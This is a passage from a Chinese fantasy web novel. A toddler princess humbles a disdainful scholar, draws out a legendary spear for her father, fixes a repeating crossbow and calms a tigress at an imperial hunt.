左正极不敢耽搁,连忙牵着她走进了考场。
“抱我上去,哪天我得把这个桌子的腿弄掉一截,干嘛这么高啊!”
因为那是讲课用的桌子啊!左正极心中叹气,抱起她,稳稳地放在了桌子上:“小师祖,您可坐稳了啊,千万别掉下来。”
“知道啦!“团团调整姿势,坐得笔直,望向下面的学生们,奶凶奶凶地开口:“都不许偷懒!好好考试!”
学生们虽然已经见惯了她坐在讲台上,但每次看到,还是会偷笑。
殷日敬站在门口,眼睁睁地看着自己的师弟对一个小娃娃毕恭毕敬,又惊讶地看到那小娃娃竟坐到夫子讲课用的桌子上,气得胸中一阵气血翻涌。
“胡闹!简直是胡闹!”他狠狠一甩袖子,转身离去。
监考结束,团团找到崔代盛:“好累哦!我饿啦!坐得我屁屁都麻了。”
崔代盛笑眯眯地哄她:“小师傅辛苦啦!徒弟这就带您去吃饭!”
他板了板脸,对站在一旁,看傻了的殷日敬道:“日敬!还不拜见小师祖,为你之前的冒犯赔礼?”
殷日敬仍旧无法相信:“师父!您当真拜了这个乳臭未干地小儿为师?!”
崔代盛眼睛一瞪:“你懂什么!你小师祖懂得比你多多了!”
“若无真才实学,老夫岂会拜她为师?”
团团听得得意,摇头晃脑的接口:“就是,就是!”
仰起头看向殷日敬:“你要是不听话,我就不教你哦!”
殷日敬看了眼师父,又看了眼师弟,终于相信了,眼前这个小娃娃,真的是自己最尊敬的师父的师父!自己的师祖!
他面露难色,犹豫了好半晌,终究还是迈步上前,对着团团僵硬地躬身一揖:“弟子殷日敬,拜见小师祖。”
团团笑眯眯地看着他:“好徒孙!”
殷日敬脚下一趔趄,险些没站稳,急忙直起身来,脸上涌起了淡淡的红晕。
团团走近了他,仰头望去:“你好高啊!”扯了扯他的衣袖。
殷日敬低头看了她一眼,不明所以,又马上将视线挪开,继续站得笔直。
团团皱了皱眉,又拉了拉他的衣袖。
殷日敬又看了她一眼,还是没明白她的意思,求救地向师父看去。
眼神中意思明显:小师祖这是要干嘛?
崔代盛也没懂,对着他两手一摊,意思也很明白,不知道。
团团叹了口气,摇了摇头,那模样,像极了对弟子无奈的老夫子。
对一旁的左正极伸出了小胳膊:“抱我起来。”
左正极依言将她抱起,团团伸着小胳膊,很努力地够到了殷日敬的大脑袋,像模像样地拍了拍:“好孩子,乖!”
殷日敬身体一僵,脸上的表情复杂得难以形容。
左正极抿着嘴使劲憋着笑,肩膀不停抖动。
第107章 我可以坐在这个上面吗?
放榜之日,国子监告示栏前人头攒动。
当所有人看清了那上面一长串的名字后,人群中爆发出了阵阵惊呼。
历来被视为纨绔班的外舍班,此次竟有近半数人的名字赫然列于榜上,其中,吴启林的名字,更是挤入了中游!
曹松辉失声叫道:“不可能!”
“这群废物,怎么可能考出这样的成绩?定是作弊!”
此言一出,引得不少落榜或名次下跌的学子纷纷附和,质疑声四起。
“曹兄此言有理!”
“他们怎么可能考得出如此佳绩!”
“此事必然有鬼!找祭酒去!他们定是作弊!”
吴启林眼睛一瞪,正要开口反驳。
有人喊了一声:“祭酒大人来啦!”人群自动分开,让出了一条路。
崔代盛神色肃穆,缓步而来,后面跟着不苟言笑得殷日敬,和抱着团团得左正极,还有一名捧着一叠试卷的夫子。
“祭酒大人!”曹松辉抢先一步,躬身道,“学生以为,此次外舍班得成绩有误,请大人明察!”
崔代盛目光扫过众人:“你之质疑,可有凭证?”
曹松辉故意提高了声调:“外舍班学生们平日课业如何,众人有目共睹。怎么可能如此突飞猛进,学生不信!”
很多学生随声附和:“没错!他们几时用功读过书?”
“就是!要是比吃喝玩乐,他们这个成绩还差不多!”
“我也不信!“
吴启林第一个不服:“你们没看见我们读书,就说我们没用功?”
其他外舍班的学生们也反唇相讥:“凭什么你们考得好就是理所应当,我们考得好就是作弊?”
崔代盛举手示意学生们安静。
“我料到此次会有质疑之声。既如此,便请诸位一同品鉴。”
捧着试卷的夫子将手中试卷一一递给在场的学生们,让他们互相传阅。
众人仔细看去,试卷上字迹虽潦草丑陋,但论述却极为精彩。
“嗯,论点新颖,引证巧妙,不易啊!”
“还真是,见解独特,让人眼前一亮。”
“这,这思路!分明与咱们国子监的教习大相径庭,却又能自圆其说,妙啊!”
不少学子都凝神细看,面露思索,喃喃夸赞。
团团得意地冲自己的学生们竖起了大拇指:干得不错!
崔代盛声音清晰,传遍全场:“外舍班学子所答,虽笔力尚浅,却思路活络,见解新颖,你们可还有质疑?”
学生们互相看了几眼,都默默地摇了摇头。
崔代盛咳咳两声,嗽了下嗓子,指着团团:“外舍班今日之进步,完全是我的小师傅——这位小夫子的功劳。”
团团扬着头,尾巴都要翘起来了:“对啊!就是我!”
外舍班的学子们全都围了过来,站在她身边,胸膛挺得老高各个扬眉吐气。
“小夫子威武!”
“小夫子厉害!”
“看谁还敢说我们外舍是纨绔班!”
殷日敬看着被簇拥在学生堆里,小脸上洋溢着光彩的小师祖,
又看了看还拿着试卷在仔细琢磨的学生们。
这个小师祖,好像还,真有几分本事呢!
盛夏消融,天气微凉,秋高气爽。
程公公走进宁王府,满面春风地带来了皇帝的口谕:秋猎在即,特宣宁王携王妃,嘉佑郡主入宫伴驾,翌日一同前往西郊猎场。
“王爷您瞧,”程公公一指身后,数名小太监,站在三顶精致的软轿周围静候,”陛下特命奴才们,接王爷一家,乘轿入宫。”
“遵旨。”一家人上了轿子,一路畅通无阻,直入宫禁。
是夜,宫灯燃亮。
紫宸殿内,一派难得的温馨景象。
晚膳早已撤下,萧元珩夫妇端坐饮茶。
而皇帝萧杰昀,正毫无形象地斜靠着坐在柔软的地毯上。
默默地看着面前的小团子,拿着他案上的印章,笔架……
在地上搭出了一个小房子。
“皇伯父,把那个给我,”团团小手一指,萧杰昀扭头一看,将她要的东西伸手拿了过来,递到她手里,脸上带着连他自己都未察觉的纵容和微笑。
程公公侍立在旁,心中波涛汹涌。
这般天伦之乐的场景,便是几位皇子公主,也从未在陛下这里得到过。
而殿外,正想让内侍通传的慕容玉瑶,恰好将这一幕尽收眼底。
皇帝脸上那毫不设防的宠溺,团团脸上的悠然自得,深深地刺痛了她。
她摆了摆手,拦下了内侍的禀告,转身离去,攥紧双手,指甲深深掐进掌心,强烈的嫉妒和愤恨,瞬间烧遍了四肢百骸。
“拿上寿成宫的令牌,”她吩咐自己的贴身婢女,“去趟霍家。给文萱递个话。”
“将刚才紫宸殿中的情形说与她听。”
“告诉她,她最恨的人,如今已不止宸晖殿,连圣上的紫宸殿都已是出入自由了。”
“是。”婢女领命而去。
次日清晨,天光微亮。
萧元珩与程如安穿戴整齐,带着同样收拾利落的团团,前往正殿与陛下汇合。
萧杰昀一身玄色绣金猎装,外罩一件同色绣着暗金龙纹的硕大披风,威仪天成,正准备起驾。
团团迈着小短腿,噔噔噔跑到他跟前,仰起小脑袋,好奇地盯着那垂落在地、在地上铺成了一片的披风下摆。
“皇伯父。”她软软地叫了一声。
“嗯。”萧杰昀垂眸,威严的神色不自觉地柔和了些许。
“你的披风好长哦。”
“嗯。”
“皇宫好大啊!”
“嗯,嗯?”这小家伙又在想什么鬼主意?
“走路好累哦!”团团说得委屈,小脸皱成了一团,像是遇到了天大的难题。
萧杰昀挑着眉,等着她的下文。
果然,团团伸出小手,指了指他身后那华丽的披风,语出惊人:“皇伯父,我可以坐在这个上面吗?你拖着我走,这样我就不用走路啦!”
萧元珩夫妇忍着笑,面露尴尬,这孩子!
程公公脚下一滑,险些摔倒。
其他侍立周围的宫人们则猛地憋住了气,生怕自己忍不住笑出声来。
萧杰昀愣了一下,随即哭笑不得地吐出两个字:“胡闹!”
语气却无半分斥责之意,反而俯身弯腰,一把将异想天开的小家伙捞起,稳稳地放在了臂弯上。
“这样好不好?更高,也看得更远。”
团团看了看四周,点了点头,满意了:“嗯,可以。”
萧杰昀面带微笑,抱着小团子,大步流星地朝外走去。
西郊猎场,旌旗招展,仪仗煌煌。
皇帝一行人抵达时,皇子们与文武百官早已列队等候。
简单的仪式过后,狩猎尚未正式开始,众人皆在场地内自由走动,熟悉环境。
团团回到了父亲身边,她第一次来猎场,看什么都新鲜,这边看看,那边瞅瞅。
忽然,她眼前一亮,目光被远处山壁下的一样东西牢牢吸引。
一杆废弃已久的长枪,大半截枪身都陷在岩石里,只留下一小截枪杆和锈迹斑斑、带着泥土的枪头暴露在外,看上去与山石几乎融为一体,灰扑扑的毫不起眼。
可看在团团眼里,那东西却正散发着灼灼耀眼的金光!
她兴奋地拽起父亲的衣袖,小手指着那边:“爹爹!你快看!那个!是个顶好顶好的东西哦!”
第108章 跟你说了你不行嘛
萧元珩顺着她指的方向看去,不由得失笑:“团团,那只是杆废铁枪,据说早年此地曾是战场,应该是那时遗留下来的。”
“不是啦!爹爹!”团团小嘴一撅,扯着父亲的衣襟就往铁枪那里拽,“来嘛,来嘛。”
萧杰昀听到了动静,看着团团把萧元珩往那边拉。
“王爷跟郡主这是往哪儿去?”他问身旁的程公公。
程公公回道:“老奴也不知道,好像是,小郡主瞧见了什么,拉着王爷过去看。”
萧杰昀一笑:“是么,走,咱们也过去看看。”
皇帝这一动,身后跟着的臣子们便都跟了过去。
团团拉着父亲来到了那铁枪前:“爹爹!你看!金光闪闪的!”
萧元珩面露困惑,哪有金光?刚想问清楚。
身后传来了一个苍老的声音:“郡主,童言无忌也要有个限度!否则,可是欺君之罪啊!”
萧元珩脸一沉,回头看去,是陛下身边站着的靖海侯周锦华。
萧杰昀冲着团团一招手,团团跑了过来。
“团团,告诉皇伯父,这杆铁枪有何不妥吗?”
团团摇了摇头:“没有啊!它是个顶好的宝贝呢!皇伯父!“
“哦?“萧杰昀打量着那杆破旧的铁枪,半点没看出来哪里“顶好”。
周锦华之子周景安哼了一声:“这破枪在这里都不知道多少年了,若不是今岁猎场扩建,这枪又在石头里嵌着没人去管,谁能看得见这破烂玩意儿!”
团团循声看去,暗算追风的坏蛋?他怎么也来了。
萧杰昀看了团团一眼,这孩子,总是能看见旁人看不到的东西:“来人!将那杆枪给朕拔出来!”
“是!”
几个孔武有力的侍卫立刻上前,合力试了又试,没能拔出来。
随即便开始用刀撬,用锤砸,但这看似腐朽不堪的长枪,却如同与整座山都连在了一起,纹丝未动。
越来越多的人听见了动静,都围拢过来,低声议论。
“陛下想要这杆枪?”
“小郡主说这枪是个宝贝,这不陛下才想看个端倪。”
“小孩子的话岂可当真?”
团团走到长枪面前,伸出小手摸了摸它,如同摸了个朋友。
她歪着小脑袋,软软地开口:“喂!你在这里这么久,孤零零的,不难过吗?”
“嗡——!”
似是在回应她,枪身猛地一震,发出了一声低沉却清晰的嗡鸣,如同一声叹息,清晰地传入在场每一个人的耳中。
所有人的脸色瞬间全都变了。
“什么声音?”
“是那杆枪发出的吗?”
“怎么可能?!”
但是,随着嗡鸣声越来越大,连绵不绝,“铿——!”
“锵锵锵——!”
先是距离最近的御前侍卫们腰间的佩刀,不受控制地出鞘了半寸,发出清脆的鸣响!
紧接着,所有人的佩剑,佩刀,都在鞘中疯狂震动!
“我的剑!”
“我的佩刀!”
“怎么回事?!”
惊呼声四起。
“嗖!”一道银光破空!一把不知是谁的佩剑冲出剑鞘,化作一道流光,径直疾冲向那杆锈枪。
插在了铁枪前的空地之上,剑身向着铁枪微斜,剑柄垂首轻晃,如同臣子朝拜君王!
“嗖!嗖!嗖!”
猎场上空,无数道金属流光从四面八方腾空而起!
猎场内所有将士,侍卫们的佩刀、佩剑,长矛、画戟……尽数挣脱了束缚,化作一片洪流,汇聚到那杆锈枪周围,插在铁枪的周围!
铁枪的嗡鸣声渐渐减弱消失。
众人望着身旁无数柄利器,无不满脸惊诧,目瞪口呆。
“万剑朝宗?!”一个须发皆白的老翰林,最先反应了过来。
他扑通一声跪倒在地,指着那杆枪,声音嘶哑地高喊:“天外陨铁,万刃臣服!是它!”
“一定是典籍中记载的那杆,早已失踪多年的龙吟枪!”
萧杰昀脸色一变:“龙吟枪?”再看向那杆铁枪时,眼神中已多了些许敬畏。
就连萧元珩也喃喃自语:“这世上竟当真有龙吟枪?“
周锦华向儿子使了个眼色,周景安会意,跨步向前:“陛下!此枪果然非比寻常!乃是上天的恩赐啊!”
“臣愿一试,为吾皇将其取出,献于陛下!”
周锦华微微颔首,对儿子表示赞赏,做得不错。
谁发现的有何重要,重要的是谁能将其献给陛下!
团团摇了摇小脑袋:“你才拔不出来呢!”
周景安的脸腾的涨得通红:“你怎知我拔不出?陛下!请准臣一试!”
萧杰昀问道:“他们几人合力都无法将枪拔出,你有何良策?”
周景安道:“回禀陛下,那几人力气虽大,但可惜只知使用蛮力,臣在方才他们拔的时候,便已发现了端倪。”
“哦?”萧杰昀来了兴致,“说说看。”
周景安道:“陛下请看,这铁枪已深入山石多年,生拔定是拔不出来的,但如果来回旋转,则会将枪杆周围慢慢活动出一个缝隙,到时再用力,定能将其拔出!”
周围人听了,也都不禁暗暗点头:“言之有理!”
“靖海侯教子有方啊!”
周景安暗自得意,声音更高:“天赐此神器于我朝,臣愿尽绵薄之力!请陛下恩准!”
萧杰昀点了下头:“好,朕准你一试!”
周静安走到铁枪面前,双手齐伸,摸上了枪杆。
“啊!”下一秒,他惨叫着松开了手,后退数步,摊开双手时,只见掌心竟然都已被烫得通红。
团团撇着小嘴道:“你看,它不喜欢你捏!”
“咦,刚刚那几个侍卫摸了没事儿啊,为何周公子他?”
“嘻嘻,刚才说得挺漂亮,大话说早了吧。”
“老臣来!”周锦华听了面子上挂不住,亲自上前。
团团无奈地看了他一眼:“你也拔不出来的!别试啦!”
周锦华哼了一声,命人取来军中卸甲用的工具和隔热的物件,一番准备之后,才谨慎地伸手去握枪杆,想用刚才儿子说的方法将其拔出。
“砰!”
一股无形的力量猛然反震开来,周锦华整个人如同断线的风筝,被狠狠弹飞出去,重重摔在丈许外的草地上,官帽歪斜,狼狈不堪。
团团被那巨大的落地声吵得捂住了耳朵:“都跟你说了你不行嘛!”
第109章 不错什么啊
“爹!”周景安赶紧冲了过去,忍着手上的疼痛,将父亲从地上扶起。
父子二人互相搀扶着站了起来。
萧杰昀问道:“伤势如何?”
周氏父子连忙回禀:“谢陛下,臣无碍。”
经过靖海侯父子这一试,周围人尽皆沉默,再无人敢毛遂自荐去拔那铁枪。
萧杰昀盯着那杆铁枪看了片刻,低头问团团:“团团,他们都不行,那究竟谁才能拔得出来?”
团团一边歪着小脑袋琢磨着,一边将自己的小手放进嘴里,如同寻常孩童在吃手指。
她眉头微微皱了一下,随即将手指从嘴里拿出,攥成了小拳头。
轻喊了一声:“爹爹!”
萧元珩马上蹲下了身子,今日起得太早,又赶路,孩子定是乏了:“累了吗?让萧二送你回你娘的帐子里睡一会儿好不好?"
团团摇了摇头:“爹爹,你去试试吧,把它拔出来。"
萧元珩一怔。
团团翻开父亲的双手,展开了自己的小拳头,小手在他的两只大掌上各蹭了一下。
萧元珩瞳孔一缩,只见两抹鲜红赫然现于自己双手掌心。
他诧异地看向女儿:“团团!你?"
团团钻进他怀里,搂住他的脖子,在他耳边轻声道:“爹爹护着团团,娘亲和哥哥们,护着那么多好人,打坏蛋。”
“团团让它也护着爹爹。爹爹,去把它拔出来吧。”
萧元珩望着女儿,点了点头,站起身来:“陛下,臣愿一试!"
萧杰昀看着他,又看了看他身边的小团子,点了点头。
萧元珩走到铁枪面前,深吸了口气,伸出手,轻轻握住了那粗糙锈蚀的枪杆。
入手冰凉,半点不烫,他甚至没有用力去“拔”,只是心念一动,向上微微一提。
如游子归家,宝剑入鞘,一种血脉相连、如臂使指的契合感油然而生。
“嗡——!”
一声清越如龙吟的铮鸣响彻云霄!
覆盖在枪身上的锈迹与尘泥闻声寸寸剥落,爆散成齑粉。
一道璀璨夺目的金光自枪身冲天而起,撕裂云层,将整个猎场映照得一片辉煌!
待光芒稍敛,众人这才看清,萧元珩手中握着的,哪里还是什么破铜烂铁?
分明是一杆通体暗金、造型古朴大气的神枪!
枪身隐现流云龙纹,枪刃寒光凛冽,浑身散发的锋锐之气逼得近前之人呼吸都为之一滞。
萧元珩手持龙吟枪,随意一挥,空气中便发出一声轻鸣。
他感受着枪身传来的磅礴力量与汹涌战意,胸中豪气顿生,忍不住纵声长笑!
萧杰昀率先抚掌大喝:“好!神枪认主,天佑我大烈战神!”
团团拍着小手蹦了起来:“爹爹好棒哦!”
百官这才从极度的震撼中回过神来,纷纷附和:
“恭喜陛下,天佑大烈!”
“恭喜宁王!喜得神器!”
唯有靖海侯父子,双目火红却脸白如纸,一言不发。
萧元珩将龙吟枪扔给萧二,一把抱起了团团,心疼地握着她的小手,若不是闺女抹在自己掌中的那滴血,自己也根本不可能将那龙吟枪拔出来。
“陛下,微臣先将郡主送回帐中歇息。”
萧杰昀点了点头:“去吧。”
次日,晨光破晓,号角长鸣,皇帝开出首箭,秋猎正式开始。
大批人马如潮水般涌入山林,萧元珩却并未随驾,而是带着团团和萧二一起走进了猎场旁边的校场中。
校场内,已有不少武将子弟都在切磋技艺。
周锦华与周景安赫然站在最前,两人脸色阴沉,显然对昨日的神枪认主之事,仍旧耿耿于怀。
宁王驾到,众人一齐行礼问安:“见过宁王!”
周锦华皮笑肉不笑:“王爷倒是清闲,陛下秋猎,正是展现勇武之时,不想王爷却在此逗弄稚子。”
周景安在一旁阴阳怪气地接口:“父亲,宁王昨日才刚收了神枪,正是得意之时,纵然不去伴驾,又有谁敢置喙?”
萧元珩眼皮都未抬,淡淡回道:“靖海侯,你若有闲心在此说笑,不如多想想如何精进自身,免得下次再被弹飞出去。”
团团想起昨日周锦华落地时的那声巨响和连滚带爬站起来的模样,忍不住扑哧一声笑了出来。
在场不少人昨日也都看到了,全都面露讥笑。
周锦华父子脸色瞬间铁青。
周景安年轻气盛,当即怒道:“王爷!休要小瞧了我靖海侯府!”
他深吸口气,声调拔高,语气中全是炫耀:“今日,便让诸位同僚见识一下,我侯府刚刚制出的利器,三矢弓!”
说罢,他挥了下手,随从立刻奉上来一张造型奇特的硬弓。
那弓的握把处并非一道弧线,而是精心做出了三个并排的凹槽弯度。
周景安拿起三支箭,熟练的同时卡入三个凹槽,张弓搭箭,对准百步外的箭靶。
“此弓妙处有二!”他一边瞄准,一边高声道:“其一,可三箭齐发,杀伤倍增!"
“其二,有此凹槽固定,便是新兵亦能轻松施射,无需担忧箭矢滑落!”
话音落下,他手指一松。
“嗖嗖嗖!”
三支箭矢呈一个极小的扇面呼啸而出,笃笃笃三声,虽未全中靶心,却也全都牢牢钉在了靶上!
周围顿时响起一片喝彩与赞叹声。
“好!”
“妙啊!”
“靖海侯府当真不简单,竟能制出如此精妙的弓箭!”
“是啊!若将此弓大量用于我军,岂不是所向披靡!”
几位兵部的官员更是连连点头,交头接耳,显然极为意动。
周锦华看着众人的反应,矜持地捋了捋短须,看向萧元珩:“王爷以为,我侯府这小玩意儿如何?”
萧元珩面色平静,微微点头:“确实不错,用心了。”
不错什么啊!比起冯舟图纸上画的,明明差远了好吗!
爹爹为何不拿出来呢?不愿意让这俩坏蛋看到吗?
团团扯了扯父亲的衣角,萧元珩将她一把抱起:“怎么了,团团?”
团团在他耳边悄悄问:“爹爹,冯舟图纸上的那个,比这个好多啦!干嘛不拿出来,把他们比下去呢?”
萧元珩微微一笑:“那个啊,确实做出来一个。”
“但试射的时候,却经常会卡住。"
“哦!”团团想了想,“爹爹?带来了吗?我想看看。”
第110章 五品很大吗
“萧二,去我帐子里,拿过来。”
“是!”萧二动作很快,片刻便取了回来。
团团从父亲怀里溜下来,扒着萧二的手仔细看过去。
乍一看,只是一个长方形的木盒。
打开盒盖,里面躺着一件造型精巧、通体由金属与硬木构成的器械。
“此乃何物?”有几个人走过来,好奇发问。
“连发弩。”萧元珩言简意赅。
周景安嗤笑一声:“弩?我当是什么新鲜东西!”
“工部如今的制式弩箭不过十发,装填繁琐,射速缓慢,如何与我这三矢弓的威力相比?”
萧元珩并未理会他的嘲讽,只是眉头紧锁地看着盒子里的连发弩。
正是依照冯舟所献的图纸打造出的样品。
团团伸出小手,在盒子里到处摸索,歪着小脑袋仔细琢磨。
突然,她眼神一亮,左右看了看,从地上捡起一块有棱角的小石子。
她把小石子放在弩机内部一个不起眼的卡榫上,轻轻往里面一推,石子啪嗒一下便将下面的卡头卡死了。
拍了拍小手,拉了拉父亲的衣角:“行啦!这样它就会听话啦!爹爹,你试试?”
萧元珩拿起连弩,向团团刚才改动过的地方仔细看去,琢磨了片刻,眼神猛地一亮:“团团好厉害!原来如此!”
他拿起连发弩,抬起手臂,对准远处的箭靶,扣动了扳机。
“咔哒——咻咻咻!”
一阵轻快而密集的机括声响起,众人只觉眼前一花,三道黑影几乎首尾相连地疾射而出,精准地钉在了百步外的箭靶红心之上!
速度之快,远超弓矢!
这还没完!萧元珩动作不停,手指连动。
“咻咻咻!”
“咻咻咻!”
又是两组、每组三支的短矢激射而出!
九支特制短箭,分成了三次,在极短的时间内,全部命中靶心,将那靶子射得如同刺猬一般!
整个校场,陷入了一片死寂。
一次装填,九矢连发!可分次点射,亦可瞬间倾泻!
这已完全超越了弓箭的范畴!
周景安张大了嘴巴,脸上的得意瞬间僵住,如同被人掐住了脖子。
周锦华更是面色惨白,身体微微摇晃。
他们那需要大力张弓、准头欠佳的三矢弓,在这真正的连发杀器面前,被比得如同孩童的玩意儿!
“这……这不可能!”周景安失声叫道。
团团看着那布满箭矢的靶子,满意地点了点小脑袋:“这才对嘛!”
直到此时,周围的喝彩声和叫好声才惊天动地地响了起来!
“太厉害了!”
“这将是战场上真正的王者!”
“宁王不愧是我大烈的战神啊!”
“昨日收服神枪,今日制成连弩!”
“宁王简直是福运齐天啊!”
周锦华紧紧地盯着萧元珩手中的连弩,面色阴沉,眼神贪婪。
傍晚时分,皇帝萧杰昀狩猎归来,急召宁王同嘉佑郡主携连弩入帐,将其他人都赶了出去,只留下程公公一人在身边伺候。
“皇伯父!”团团进门便扑了过去。
“诶!乖!今日皇伯父猎到了一只肥美的大鹿,一会儿给你烤鹿肉吃好不好?”
团团舔了舔嘴唇,咽了下口水:“好!一定很香香!”
萧杰昀哈哈大笑,把她搂进了怀里。
目光一转,看向萧元珩:“皇叔!朕已听闻今日校场一事,竟当真有那般威力?”
萧元珩立即上前,将连发弩双手奉上:“回陛下,此物名为‘九星连弩’,乃原工部任员外郎冯大人的公子冯舟所创。”
“前些日子,冯舟将此连弩的图纸献给了团团,臣试做了出来,但试射时经常会卡住弩内箭矢。”
“今日校场上,团团指出其关键,加以改进,这才有了如此巨大的威力。”
“此事朕已听说了。冯舟?”萧杰昀接过连发弩,仔细端详,眼中精光爆射,瞬间便意识到了此物的价值。
“朕想起来了,那个早年曾被称为工部神童的孩子,他为何会将图纸献给团团?”
团团抬起小脑袋:“因为我救了他啊!我还是他的盟主呢!”
萧杰昀听得一脸懵,看向萧元珩。
萧元珩微微一笑:“也是机缘巧合,冯舟虽才华横溢却屡次遭难,准备自尽时恰巧被团团遇到,将他救下。冯公子也是个知恩图报的,这才将图纸献给了团团。”
“原来如此!可见这孩子慈心,方才有此福报!”
萧元珩压低了声音,正色道:“陛下,此等利器,干系重大。若制造之法不慎流传于外,乃至落入敌国之手,他日战场相遇,我军将士的伤亡恐难以估量。”
萧杰昀抚摸着连弩的手骤然收紧,神情肃然:“皇叔所言极是!此等国之重器,绝不可轻忽。”
“程谨言。”
“老奴在!”程公公急忙跨步上前,躬身静候。
“传朕旨意,即日起,设立‘私务坊’,直属内府,由宁王萧元珩全权执掌,一应开销用度,由朕之内帑支应!”
“冯舟,擢升为私务坊监事,居正五品。专司兵器研制改良之事,工部上下全力配合,凡有需求,不得延误!”
“册封嘉佑郡主为‘私务坊特使’,秩同五品,可随时出入私务坊,参赞机要!”
团团仰起小脑袋:“我?五品?皇伯父,五品很大吗?”
萧元珩连忙接口:“很大了呢,团团,来,到爹爹这里来。”
萧元珩带着女儿一起躬身下拜:“臣,领旨谢恩!”
团团也奶声奶气的接口:“团团,谢谢皇伯父呀。”
“好!好!”萧杰昀大悦,起身牵起小团子的手,“走!吃烤鹿肉去!”
次日一早,萧元珩伴驾狩猎,团团在营地里待不住,程如安只得同意让萧二带着她去猎场的林子里去随便走走。
林深树密,萧二神情警惕,护在蹦蹦跳跳的团团身后。
几个侍卫随行,分散在四周。
与此同时,山中另一条林间小径上,却是另一番景象。
霍文萱与慕容玉瑶两人,被几个侍卫簇拥着,跟在周景安和韦秉安身后,几人在林中漫步前行。
“咦?你们看那是什么?”韦秉安眼尖,指着不远处灌木丛中一个毛茸茸、正在笨拙地移动着的金黄色毛团子。
众人好奇地围了上去。
竟是一只看起来,刚出生不久的小老虎!
第111章 把祸根扔给她
它步履蹒跚,一双琥珀色的大眼睛里充满了懵懂与无助,发出细微的“嗷呜”声,憨态可掬。
“是虎崽!”韦秉安眼中闪过一丝惊讶,随即便开始得意,“没想到运气这么好,竟能碰到这等稀罕物!抱回去养着,那可是京城独一份!”
他毫不犹豫立刻上前,抱起了毫无反抗之力的小虎崽。
“呀!它好可爱!”慕容玉瑶掩唇轻笑,上前用手指轻轻戳了戳小老虎的脸颊,眼中满是新奇。
霍文萱顺手从旁边摘了几朵野花,编成了一个小小的花环,戴在了小老虎的头上:“这样就更可爱了,是不是?”
小老虎不适地晃了晃脑袋,引得众人发出阵阵笑声。
韦秉安揉搓着它的小爪子:“哈哈,这么小,真有趣!”
几人都沉浸在获得新奇玩物的兴奋中,丝毫没有察觉,一双充满焦躁与愤怒的琥珀色竖瞳,正在不远处的密林阴影中,死死地盯住了他们。
“吼——!”
一声震彻山林的狂暴虎啸如惊雷般炸响。
不远处的团团抬起了头:“大猫咪怎么这么生气?”
萧二和侍卫们瞬间将她围在了中间,警惕地望向四周。
一头体型硕大、毛色斑斓的母虎自阴影中猛扑而出!
铜铃般的巨眼一片血红,死死盯着被韦秉安抱在怀里,头顶还戴着花环的幼虎。
“妈呀!”
“是大老虎!”
刚才还欢声笑语的一群人瞬间炸开了锅。
护卫们仓啷啷拔出刀剑,却个个面色惨白,双腿发软,在百兽之王的威压下,控制不住的有些颤抖。
“保护公子!”
“护住小姐!”
“快、快跑啊!”
混乱中,不知是被谁推搡了一下,站在最前面的慕容玉瑶一个踉跄,直接摔倒在地。
她惊恐地抬头,正对上母虎那充满野性与暴怒的瞳孔。
“啊——!!!”
恐惧瞬间击溃了她的心智,一股温热的、带着骚气的液体不受控制地从她身下溢出,浸湿了华贵的裙摆。
一股难闻的气味在空气中弥漫开来。
身旁的人都下意识地避开了她,脸上闪过一丝嫌恶。
众人四散奔逃,谁也顾不上谁。
母虎并未攻击一身骚臭的慕容玉瑶。
而是低伏下身,发出威胁性的低吼,对着怀抱着虎仔的韦秉安作势欲扑。
韦秉安脑中一片空白,紧紧抱着虎仔掉头就跑,
边跑边狂叫:“救命啊!”
见一个侍卫跑到了自己前面,他立刻伸手,往身后用力一拉:“狗奴才!给我挡着啊!”
太多的人阻挡了母虎的视线,母虎没能扑向韦秉安,在众人身后紧追不舍。
霍文萱跟在韦秉安身后,再也顾不及什么贵女的仪态,撒开腿狂奔。
看到韦秉安仍然紧紧抱着虎仔,不禁开口便想痛骂,这个蠢材!难道现在还不明白,母虎就是为了虎仔才追上来的吗?
突然,她猛地看到了前方不远处,一群人围着的那个小小身影。
团团站在侍卫们中间,正从大人们的腿缝中好奇地望过来。
竟然是她!
狠毒的算计瞬间如毒蛇般窜上心头。
她一把抓住身旁惊慌失措的韦秉安,让他看向团团:“不想死就把那祸根扔出去!扔给嘉佑郡主!让那畜生去找她!”
韦秉安根本反应不过来,求生的本能压倒了一切。
闻言他立刻用尽全身力气,朝着团团所在的方向,狠狠将虎仔扔了过去!
金色的毛球在空中划出一道弧线,精准地落在团团的面前。
母虎的视线,也随之瞬间锁定了新的方向。
团团立刻钻了出来,抱起摔在地上,哼哼唧唧的小虎仔。
萧二瞳孔猛缩,惊喝出声:“小姐!不可!”和几个侍卫再度将她围在了中间。
小老虎在团团的怀里不安地扭动着。
那道巨大的斑斓身影,如一道赤金色的闪电,迅速扑至近前!
“保护郡主!”萧二目眦欲裂,腰間长刀瞬间出鞘。
侍卫们虽然惊惧,却依旧悍勇地踏步上前,几个人结成了一道单薄的人墙。
霍文萱停下脚步,兴奋地瞪大了双眼。
咬死她!快啊!
所有人的呼吸都在这一刻停滞。
然而,预想中血溅当场的惨剧并未发生。
团团仰起小脸,从人群的腿缝里,对着那狂暴的母虎:“你好吵呀!安静些嘛。”
母虎停下了脚步,弓起身子,望着近在咫尺的虎仔。
喉咙里发出的不再是暴怒的咆哮,而是低沉的怒吼。
团团扒拉不动面前的大人们:“二叔叔,让我过去。”
萧二不动:“不行!”
团团无奈地摇了摇头:“没事儿的,二叔叔,她只是想要她的宝宝,不会伤我啦。”
萧二纹依旧丝不动:“小姐,那是猛兽!”
团团只好蹲下身子,对着母虎:“过来,我摸摸你嘛,摸摸就舒服啦!”
母虎紧张地看了一眼萧二他们。
团团冲着它招手:“过来嘛,他们不会伤你的!”
母虎慢慢地靠近了她,巨大的爪子缓缓抬起,轻轻落下,每一步都格外的小心。
萧二和侍卫们眼看着那巨大的猛兽走到了自己的脚下,紧张得连喘气都忘了。
“这就对啦!”团团干脆坐在了地上,一只手将虎仔抱在胸口,另一只从腿缝中伸出去,轻轻放在了母虎巨大的前爪上。
母虎的大脑袋一歪,低吼变成了轻轻的呜咽,委屈得不行。
巨大的鼻子轻轻抽动,似乎在辨认着什么。
浑身绷得紧紧的萧二,俯视着这眼前的奇景,终于让开了身子。
团团立刻往前蹭了蹭,小手摸到了母虎的脑袋,把怀中的幼崽放在了母虎的怀里:“给你,你的宝宝没事儿啦!”
母虎彻底卧了下来,贪婪地舔舐着自己的幼崽。
团团开心地彻底靠了上去,搂住了母虎的一只前爪:“哇!好大啊!喂,你知道吗,你的爪爪比我家雪豹的还大!”
她又仔细撸了两把母虎的皮毛:“不过,毛毛没有我的雪豹软哦!”
